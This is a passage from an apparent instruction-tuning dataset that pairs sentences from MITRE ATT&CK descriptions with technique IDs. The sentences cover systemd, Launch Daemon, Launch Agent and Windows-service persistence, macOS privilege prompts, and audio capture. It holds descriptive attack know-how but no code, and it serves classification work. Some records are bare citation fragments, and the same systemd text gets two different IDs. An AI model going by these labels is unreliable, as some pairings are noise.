services can be used to establish persistence on a Linux system. ### Response: T1501."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018)", "output": "T1501", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) ### Response: T1501."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.", "output": "T1501", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems. ### Response: T1501."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Systemd utilizes configuration files known as service units to control how services boot and under what conditions.", "output": "T1501", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Systemd utilizes configuration files known as service units to control how services boot and under what conditions. ### Response: T1501."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>.", "output": "T1501", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. ### Response: T1501."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Each service unit file may contain numerous directives that can execute system commands.", "output": "T1501", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Each service unit file may contain numerous directives that can execute system commands. ### Response: T1501."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start.", "output": "T1501", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. ### Response: T1501."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* ExecReload directive covers when a service restarts.", "output": "T1501", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ExecReload directive covers when a service restarts. ### Response: T1501."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.", "output": "T1501", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'. ### Response: T1501."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)", "output": "T1501", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) ### Response: T1501."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)", "output": "T1501", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016) ### Response: T1501."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges)", "output": "T1514", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) ### Response: T1514."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating.", "output": "T1514", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. ### Response: T1514."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.", "output": "T1514", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. ### Response: T1514."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although this API is deprecated, it still fully functions in the latest releases of macOS.", "output": "T1514", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although this API is deprecated, it still fully functions in the latest releases of macOS. ### Response: T1514."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made.", "output": "T1514", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. ### Response: T1514."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.", "output": "T1514", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges. ### Response: T1514."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation:", "output": "T1514", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: ### Response: T1514."}{"instruction": "List the MITRE techniques contained in the text.", "input": "OSX Coldroot RAT)", "output": "T1514", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: OSX Coldroot RAT) ### Response: T1514."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)", "output": "T1514", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) ### Response: T1514."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", "output": "T1514", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!) ### Response: T1514."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.", "output": "T1123", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information. ### Response: T1123."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio.", "output": "T1123", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. ### Response: T1123."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Audio files may be written to disk and exfiltrated later.", "output": "T1123", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Audio files may be written to disk and exfiltrated later. ### Response: T1123."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence.", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction.", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>.", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run.", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists) ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path.", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path. ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)).", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection) ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable.", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019) ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence.", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation:", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation: ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware)", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks. ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command. ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code> or <code>KeepAlive</code>", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code> or <code>KeepAlive</code> ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "keys set to <code>true</code>.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence)", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: keys set to <code>true</code>.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Launch Agent name may be disguised by using a name from the related operating system or benign software.", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Launch Agent name may be disguised by using a name from the related operating system or benign software. ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X)", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence.", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible. ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Systemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process.", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Systemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`).", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service)  \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service)  \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start. ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* `ExecReload` directive executes when a service restarts.", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * `ExecReload` directive executes when a service restarts. ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped.", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped. ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have created new service files, altered the commands a `.service` file\u2019s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation.", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have created new service files, altered the commands a `.service` file\u2019s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation:", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Service Persistence 22JUNE2016)", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Service Persistence 22JUNE2016) ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence.", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system.", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use services to install and execute malicious drivers.", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use services to install and execute malicious drivers. ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation:", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit42 AcidBox June 2020)", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit42 AcidBox June 2020) ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system.", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege 